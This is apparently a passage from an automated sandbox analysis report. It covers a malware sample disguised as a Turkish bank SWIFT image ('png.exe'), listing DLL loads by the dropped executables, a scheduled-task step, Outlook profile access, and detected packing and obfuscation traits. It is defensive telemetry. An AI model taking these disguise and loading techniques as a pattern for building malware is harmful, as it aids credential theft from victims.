              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasapi32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasman.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rtutils.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mswsock.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: winhttp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dhcpcsvc.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: winnsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasadhlp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: fwpuclnt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: secur32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: schannel.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mskeyprotect.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ntasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ncrypt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ncryptsslp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: edputil.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dwrite.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: textshaping.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: windowscodecs.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: textinputframework.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coreuicomponents.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: mscoree.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: apphelp.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: dwrite.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: windowscodecs.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: amsi.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: userenv.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: msasn1.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: gpapi.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: textshaping.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: propsys.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: edputil.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: urlmon.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: iertutil.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: srvcli.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: netutils.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: windows.staterepositoryps.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: appresolver.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: bcp47langs.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: slc.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: sppc.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: onecorecommonproxystub.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: onecoreuapcommonproxystub.dll
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: propsys.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: edputil.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: urlmon.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: iertutil.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: srvcli.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: netutils.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: windows.staterepositoryps.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: appresolver.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: bcp47langs.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: slc.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: userenv.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: sppc.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: onecorecommonproxystub.dll
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeSection loaded: onecoreuapcommonproxystub.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mscoree.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: amsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: userenv.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: msasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: gpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasapi32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasman.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rtutils.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mswsock.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: winhttp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dhcpcsvc.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: winnsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasadhlp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: fwpuclnt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: secur32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: schannel.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mskeyprotect.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ntasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ncrypt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ncryptsslp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mscoree.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: amsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: userenv.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: msasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: gpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasapi32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasman.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rtutils.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mswsock.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: winhttp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dhcpcsvc.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: winnsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rasadhlp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: fwpuclnt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: secur32.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: schannel.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mskeyprotect.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ntasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ncrypt.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ncryptsslp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: edputil.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: dwrite.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: textshaping.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: windowscodecs.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: textinputframework.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coreuicomponents.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wintypes.dll
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeAutomated click: Continue
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: Irgg.pdb source: Ziraat_Bankasi_Swift_Messaji.png.exe, BZTCUCKTKd.exe.0.dr
              Source: Binary string: _.pdb source: Native_New-Nova.exe, 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1780357181.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1780044363.00000000006C8000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: Irgg.pdbSHA256 source: Ziraat_Bankasi_Swift_Messaji.png.exe, BZTCUCKTKd.exe.0.dr

              Data Obfuscation

              barindex
              .NET source code contains method to dynamically call methods (often used by packers)
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
              .NET source code contains potential unpacker
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JGILNmq5ERBKBeTgX3.cs.Net Code: vaU0Htm0QT System.Reflection.Assembly.Load(byte[])
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JGILNmq5ERBKBeTgX3.cs.Net Code: vaU0Htm0QT System.Reflection.Assembly.Load(byte[])
              Source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, _.cs.Net Code: ___ System.Reflection.Assembly.Load(byte[])
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: 0xE2D84EBA [Mon Aug 7 22:05:46 2090 UTC]
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: real checksum: 0x0 should be: 0xe42c7
              Source: Native_snake01.exe.8.drStatic PE information: real checksum: 0x23bfb should be: 0x38b7d
              Source: BZTCUCKTKd.exe.0.drStatic PE information: real checksum: 0x0 should be: 0xe42c7
              Source: Native_New-Nova.exe.8.drStatic PE information: real checksum: 0x23bfb should be: 0x363da
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041D659 push cs; retf 8_2_0041D65F
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041DA6A push eax; ret 8_2_0041DA8A
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041D905 push esi; retf 8_2_0041D906
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041E60B push esp; ret 8_2_0041E628
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041ED0C push 00000062h; iretd 8_2_0041ED10
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041EE0C push 00000062h; retf 8_2_0041EE10
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041EB1F push esp; iretd 8_2_0041EB20
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041EC1F push esp; retf 8_2_0041EC20
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041C923 push esp; iretd 8_2_0041C924
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041E087 push ebp; retf 8_2_0041E088
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041E487 push ebp; retf 8_2_0041E488
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041E58B push esp; retf 8_2_0041E5A8
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041E691 push esp; iretd 8_2_0041E6A8
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeCode function: 8_2_0041EB9F push esp; ret 8_2_0041EBA0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040E21D push ecx; ret 9_2_0040E230
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0040BB97 push dword ptr [ecx-75h]; iretd 9_2_0040BBA3
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_061886FB push dword ptr [ecx+ecx-75h]; iretd 9_2_06188702
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_0618378D pushad ; iretd 9_2_06183799
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_3_05D9A2A5 push es; ret 10_3_05D9A2B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_3_05D9507B push edx; iretd 10_3_05D95091
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_3_05D8FE3C push es; iretd 10_3_05D8FE58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_3_05D8F233 push es; ret 10_3_05D8F250
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040E21D push ecx; ret 10_2_0040E230
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0040BB97 push dword ptr [ecx-75h]; iretd 10_2_0040BBA3
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0221E558 push eax; iretd 10_2_0221E559
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_061C3562 push esp; iretd 10_2_061C3569
